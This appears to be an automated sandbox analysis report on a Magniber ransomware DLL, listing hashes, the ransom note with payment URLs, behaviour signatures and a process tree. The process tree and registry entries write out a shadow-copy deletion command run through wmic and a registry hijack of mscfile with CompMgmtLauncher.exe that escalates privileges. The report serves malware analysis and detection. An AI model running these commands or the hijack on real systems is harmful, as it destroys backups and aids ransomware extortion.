magniber | a9ac09156b87ab7f92e22205c9a805a1bbe14084fd67d7bf8982e0f1ea221731

Analysis

max time kernel
132s
max time network
152s
platform
windows7_x64
resource
win7-en-20211104
submitted
09-11-2021 07:13

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

rrthp.dll
Size

38KB
MD5

ad113aac83ec6568b0ead8e9000c438c
SHA1

28560487f939ae469dfc377cac35f29f27f384eb
SHA256

a9ac09156b87ab7f92e22205c9a805a1bbe14084fd67d7bf8982e0f1ea221731
SHA512

5672e5c1e73a85897bfc0884a704968a03cd92442413cdce3e81665565359290fdbeab7a8b3adb915a3e1fa96bc5f249cd80cc7a48362fbbdbd057896a8f3697

Score

10^/10

magniber ransomware

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\readme.txt

Family

magniber

Ransom Note

ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://4630ac503c7c90508gihmepi.7hibj3fp6jlp52q2m4lv6thx2lr34itaayiydby2axofaql54dung3ad.onion/gihmepi Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://4630ac503c7c90508gihmepi.hateme.uno/gihmepi http://4630ac503c7c90508gihmepi.oddson.quest/gihmepi http://4630ac503c7c90508gihmepi.dearbet.sbs/gihmepi http://4630ac503c7c90508gihmepi.legcore.space/gihmepi Note! These are temporary addresses! They will be available for a limited amount of time!

URLs

http://4630ac503c7c90508gihmepi.7hibj3fp6jlp52q2m4lv6thx2lr34itaayiydby2axofaql54dung3ad.onion/gihmepi

http://4630ac503c7c90508gihmepi.hateme.uno/gihmepi

http://4630ac503c7c90508gihmepi.oddson.quest/gihmepi

http://4630ac503c7c90508gihmepi.dearbet.sbs/gihmepi

http://4630ac503c7c90508gihmepi.legcore.space/gihmepi

Signatures

Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
ransomware magniber

Process spawned unexpected child process 12 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

vssadmin.execmd.exevssadmin.execmd.exevssadmin.exevssadmin.exevssadmin.execmd.exevssadmin.exevssadmin.execmd.exevssadmin.exe

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	892	836	vssadmin.exe	37
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1252	836	cmd.exe	37
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	396	836	vssadmin.exe	37
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	208	836	cmd.exe	37
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	216	836	vssadmin.exe	37
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1544	836	vssadmin.exe	37
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	972	836	vssadmin.exe	37
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	628	836	cmd.exe	37
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	892	836	vssadmin.exe	37
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1524	836	vssadmin.exe	37
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1528	836	cmd.exe	37
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1812	836	vssadmin.exe	37

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Modifies extensions of user files 3 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

rundll32.exe

description	ioc	Process
File renamed	C:\Users\Admin\Pictures\ExpandUpdate.raw => C:\Users\Admin\Pictures\ExpandUpdate.raw.gihmepi	rundll32.exe
File renamed	C:\Users\Admin\Pictures\MoveUnpublish.tif => C:\Users\Admin\Pictures\MoveUnpublish.tif.gihmepi	rundll32.exe
File renamed	C:\Users\Admin\Pictures\SplitGrant.png => C:\Users\Admin\Pictures\SplitGrant.png.gihmepi	rundll32.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

rundll32.exe

description	pid	Process	procid_target
PID 1708 set thread context of 1104	1708	rundll32.exe	9
PID 1708 set thread context of 1180	1708	rundll32.exe	8
PID 1708 set thread context of 1212	1708	rundll32.exe	7

Interacts with shadow copies 2 TTPs 8 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

Processes:

vssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exe

pid	Process
216	vssadmin.exe
1544	vssadmin.exe
972	vssadmin.exe
892	vssadmin.exe
1524	vssadmin.exe
1812	vssadmin.exe
892	vssadmin.exe
396	vssadmin.exe

Modifies Internet Explorer settings 1 TTPs 34 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeIEXPLORE.EXE

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000bb601b266500a1439caac4cd216a44ab00000000020000000000106600000001000020000000be35f52025912839cd30d934ab8815f4c776a1fd87d0c741532be276008ec7b0000000000e8000000002000020000000158534034df2e29cb4969c7b4b85b54fdd6c6b50ae1c1577b64b3d69e7d950dd20000000218606e783de88da624e5732a18c88b45d6b9cbd8712f7bc713b2e2afad6c3e74000000040bd0f5996f04a93daf5c5bc6256f3ffa794ec668cbf87d4dee734f0cf3c32bfd36a3de1553603a9113cd39dcdbd8b71b85a79aa589920058de6343351dd6b77	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{11032211-412D-11EC-A418-4A11B852DD4F} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "343207211"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000bb601b266500a1439caac4cd216a44ab00000000020000000000106600000001000020000000418c5c89004519a60def0b8481b8c22e250a52a898fe9761ce2c727b11f69a53000000000e80000000020000200000000263e262642e9ffc8e9395664662f1be35d50667c87ad6f2d84933cbd74d3400900000002ea2f3486225c98e4dd272dd261a895d4865ef855b69efd459dcc2efd65fbd2e775ffced635215ff0d710baf72cd94b653b7eb31d77a95dbd431fa571e9a9f59c761b9e3d2bf63c85bc148d922e7d63d79761cb5044f8ea48a3e6e238e7d44f4f63579ef10da86b166d43f346145494f963b90477cff1afd33be34c29c4902ae85a9714a4b21d9fa81cc32fc8f585fe640000000d15ef6ff1901b1b560df570fefec4433d0b1d5520822bb267a9d9098c90328e1a18194ebe3e43a26cfb5c0a1dc6e55efcf3fa94b2bad9188f6f6461ffee4da5d	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 506e24e939d5d701	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe

Modifies registry class 11 IoCs

Processes:

Dwm.exetaskhost.exerundll32.exeExplorer.EXE

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Dwm.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000_CLASSES\mscfile\shell\open\command	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000_CLASSES\mscfile	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000_CLASSES\mscfile\shell	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000_CLASSES\mscfile\shell\open	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000_CLASSES\mscfile\shell\open\command	Dwm.exe
Key created	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000_CLASSES\mscfile\shell\open\command	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000_CLASSES\mscfile\shell\open\command	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Explorer.EXE

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

Processes:

notepad.exe

pid	Process
1392	notepad.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

rundll32.exe

pid	Process
1708	rundll32.exe
1708	rundll32.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

Explorer.EXE

pid	Process
1212	Explorer.EXE

Suspicious behavior: MapViewOfSection 3 IoCs

Processes:

rundll32.exe

pid	Process
1708	rundll32.exe
1708	rundll32.exe
1708	rundll32.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Explorer.EXEWMIC.exewmic.exe

description	pid	Process
Token: SeShutdownPrivilege	1212	Explorer.EXE
Token: SeShutdownPrivilege	1212	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	1460	WMIC.exe
Token: SeSecurityPrivilege	1460	WMIC.exe
Token: SeTakeOwnershipPrivilege	1460	WMIC.exe
Token: SeLoadDriverPrivilege	1460	WMIC.exe
Token: SeSystemProfilePrivilege	1460	WMIC.exe
Token: SeSystemtimePrivilege	1460	WMIC.exe
Token: SeProfSingleProcessPrivilege	1460	WMIC.exe
Token: SeIncBasePriorityPrivilege	1460	WMIC.exe
Token: SeCreatePagefilePrivilege	1460	WMIC.exe
Token: SeBackupPrivilege	1460	WMIC.exe
Token: SeRestorePrivilege	1460	WMIC.exe
Token: SeShutdownPrivilege	1460	WMIC.exe
Token: SeDebugPrivilege	1460	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1460	WMIC.exe
Token: SeRemoteShutdownPrivilege	1460	WMIC.exe
Token: SeUndockPrivilege	1460	WMIC.exe
Token: SeManageVolumePrivilege	1460	WMIC.exe
Token: 33	1460	WMIC.exe
Token: 34	1460	WMIC.exe
Token: 35	1460	WMIC.exe
Token: SeIncreaseQuotaPrivilege	396	wmic.exe
Token: SeSecurityPrivilege	396	wmic.exe
Token: SeTakeOwnershipPrivilege	396	wmic.exe
Token: SeLoadDriverPrivilege	396	wmic.exe
Token: SeSystemProfilePrivilege	396	wmic.exe
Token: SeSystemtimePrivilege	396	wmic.exe
Token: SeProfSingleProcessPrivilege	396	wmic.exe
Token: SeIncBasePriorityPrivilege	396	wmic.exe
Token: SeCreatePagefilePrivilege	396	wmic.exe
Token: SeBackupPrivilege	396	wmic.exe
Token: SeRestorePrivilege	396	wmic.exe
Token: SeShutdownPrivilege	396	wmic.exe
Token: SeDebugPrivilege	396	wmic.exe
Token: SeSystemEnvironmentPrivilege	396	wmic.exe
Token: SeRemoteShutdownPrivilege	396	wmic.exe
Token: SeUndockPrivilege	396	wmic.exe
Token: SeManageVolumePrivilege	396	wmic.exe
Token: 33	396	wmic.exe
Token: 34	396	wmic.exe
Token: 35	396	wmic.exe
Token: SeIncreaseQuotaPrivilege	396	wmic.exe
Token: SeSecurityPrivilege	396	wmic.exe
Token: SeTakeOwnershipPrivilege	396	wmic.exe
Token: SeLoadDriverPrivilege	396	wmic.exe
Token: SeSystemProfilePrivilege	396	wmic.exe
Token: SeSystemtimePrivilege	396	wmic.exe
Token: SeProfSingleProcessPrivilege	396	wmic.exe
Token: SeIncBasePriorityPrivilege	396	wmic.exe
Token: SeCreatePagefilePrivilege	396	wmic.exe
Token: SeBackupPrivilege	396	wmic.exe
Token: SeRestorePrivilege	396	wmic.exe
Token: SeShutdownPrivilege	396	wmic.exe
Token: SeDebugPrivilege	396	wmic.exe
Token: SeSystemEnvironmentPrivilege	396	wmic.exe
Token: SeRemoteShutdownPrivilege	396	wmic.exe
Token: SeUndockPrivilege	396	wmic.exe
Token: SeManageVolumePrivilege	396	wmic.exe
Token: 33	396	wmic.exe
Token: 34	396	wmic.exe
Token: 35	396	wmic.exe
Token: SeIncreaseQuotaPrivilege	1460	WMIC.exe
Token: SeSecurityPrivilege	1460	WMIC.exe

Suspicious use of FindShellTrayWindow 3 IoCs

Processes:

iexplore.exeExplorer.EXE

pid	Process
1400	iexplore.exe
1212	Explorer.EXE
1212	Explorer.EXE

Suspicious use of SendNotifyMessage 12 IoCs

Processes:

Explorer.EXE

pid	Process
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE

Suspicious use of SetWindowsHookEx 6 IoCs

Processes:

iexplore.exeIEXPLORE.EXE

pid	Process
1400	iexplore.exe
1400	iexplore.exe
1384	IEXPLORE.EXE
1384	IEXPLORE.EXE
1384	IEXPLORE.EXE
1384	IEXPLORE.EXE

Suspicious use of UnmapMainImage 1 IoCs

Processes:

Explorer.EXE

pid	Process
1212	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

rundll32.execmd.execmd.execmd.exeiexplore.exeCompMgmtLauncher.exeDwm.execmd.exeCompMgmtLauncher.exetaskhost.execmd.exeCompMgmtLauncher.exeExplorer.EXEcmd.execmd.exe

description	pid	Process	procid_target
PID 1708 wrote to memory of 1392	1708	rundll32.exe	28
PID 1708 wrote to memory of 1392	1708	rundll32.exe	28
PID 1708 wrote to memory of 1392	1708	rundll32.exe	28
PID 1708 wrote to memory of 1004	1708	rundll32.exe	29
PID 1708 wrote to memory of 1004	1708	rundll32.exe	29
PID 1708 wrote to memory of 1004	1708	rundll32.exe	29
PID 1708 wrote to memory of 396	1708	rundll32.exe	30
PID 1708 wrote to memory of 396	1708	rundll32.exe	30
PID 1708 wrote to memory of 396	1708	rundll32.exe	30
PID 1708 wrote to memory of 1940	1708	rundll32.exe	31
PID 1708 wrote to memory of 1940	1708	rundll32.exe	31
PID 1708 wrote to memory of 1940	1708	rundll32.exe	31
PID 1940 wrote to memory of 1460	1940	cmd.exe	34
PID 1940 wrote to memory of 1460	1940	cmd.exe	34
PID 1940 wrote to memory of 1460	1940	cmd.exe	34
PID 1004 wrote to memory of 1400	1004	cmd.exe	36
PID 1004 wrote to memory of 1400	1004	cmd.exe	36
PID 1004 wrote to memory of 1400	1004	cmd.exe	36
PID 1252 wrote to memory of 828	1252	cmd.exe	46
PID 1252 wrote to memory of 828	1252	cmd.exe	46
PID 1252 wrote to memory of 828	1252	cmd.exe	46
PID 1400 wrote to memory of 1384	1400	iexplore.exe	45
PID 1400 wrote to memory of 1384	1400	iexplore.exe	45
PID 1400 wrote to memory of 1384	1400	iexplore.exe	45
PID 1400 wrote to memory of 1384	1400	iexplore.exe	45
PID 828 wrote to memory of 1004	828	CompMgmtLauncher.exe	48
PID 828 wrote to memory of 1004	828	CompMgmtLauncher.exe	48
PID 828 wrote to memory of 1004	828	CompMgmtLauncher.exe	48
PID 1180 wrote to memory of 396	1180	Dwm.exe	53
PID 1180 wrote to memory of 396	1180	Dwm.exe	53
PID 1180 wrote to memory of 396	1180	Dwm.exe	53
PID 1180 wrote to memory of 1168	1180	Dwm.exe	54
PID 1180 wrote to memory of 1168	1180	Dwm.exe	54
PID 1180 wrote to memory of 1168	1180	Dwm.exe	54
PID 208 wrote to memory of 628	208	cmd.exe	62
PID 208 wrote to memory of 628	208	cmd.exe	62
PID 208 wrote to memory of 628	208	cmd.exe	62
PID 628 wrote to memory of 1656	628	CompMgmtLauncher.exe	63
PID 628 wrote to memory of 1656	628	CompMgmtLauncher.exe	63
PID 628 wrote to memory of 1656	628	CompMgmtLauncher.exe	63
PID 1104 wrote to memory of 2020	1104	taskhost.exe	67
PID 1104 wrote to memory of 2020	1104	taskhost.exe	67
PID 1104 wrote to memory of 2020	1104	taskhost.exe	67
PID 1104 wrote to memory of 1168	1104	taskhost.exe	68
PID 1104 wrote to memory of 1168	1104	taskhost.exe	68
PID 1104 wrote to memory of 1168	1104	taskhost.exe	68
PID 628 wrote to memory of 1656	628	cmd.exe	76
PID 628 wrote to memory of 1656	628	cmd.exe	76
PID 628 wrote to memory of 1656	628	cmd.exe	76
PID 1656 wrote to memory of 1832	1656	CompMgmtLauncher.exe	77
PID 1656 wrote to memory of 1832	1656	CompMgmtLauncher.exe	77
PID 1656 wrote to memory of 1832	1656	CompMgmtLauncher.exe	77
PID 1212 wrote to memory of 1512	1212	Explorer.EXE	81
PID 1212 wrote to memory of 1512	1212	Explorer.EXE	81
PID 1212 wrote to memory of 1512	1212	Explorer.EXE	81
PID 1212 wrote to memory of 320	1212	Explorer.EXE	83
PID 1212 wrote to memory of 320	1212	Explorer.EXE	83
PID 1212 wrote to memory of 320	1212	Explorer.EXE	83
PID 320 wrote to memory of 1736	320	cmd.exe	85
PID 320 wrote to memory of 1736	320	cmd.exe	85
PID 320 wrote to memory of 1736	320	cmd.exe	85
PID 1528 wrote to memory of 1832	1528	cmd.exe	90
PID 1528 wrote to memory of 1832	1528	cmd.exe	90
PID 1528 wrote to memory of 1832	1528	cmd.exe	90

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\rrthp.dll,#1
1⤵
- Modifies extensions of user files
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1708
- C:\Windows\system32\notepad.exe
  notepad.exe C:\Users\Public\readme.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:1392
- C:\Windows\system32\cmd.exe
  cmd /c "start http://4630ac503c7c90508gihmepi.hateme.uno/gihmepi^&1^&44496517^&59^&299^&12"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1004
- - C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" http://4630ac503c7c90508gihmepi.hateme.uno/gihmepi&1&44496517&59&299&12
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:1400
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1400 CREDAT:275457 /prefetch:2
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:1384
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:396
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1940
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1460

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
PID:1212
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:1512
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:320
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:1736

C:\Windows\system32\Dwm.exe
"C:\Windows\system32\Dwm.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1180
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:396
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  PID:1168
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:1040

C:\Windows\system32\taskhost.exe
"taskhost.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1104
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:2020
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  PID:1168
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:216

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:892

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1252
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:828
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:1004

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:1688

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:396

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:208
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:628
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:1656

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:216

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1544

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:972

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:628
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1656
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:1832

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:892

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1524

C:\Windows\system32\cmd.exe
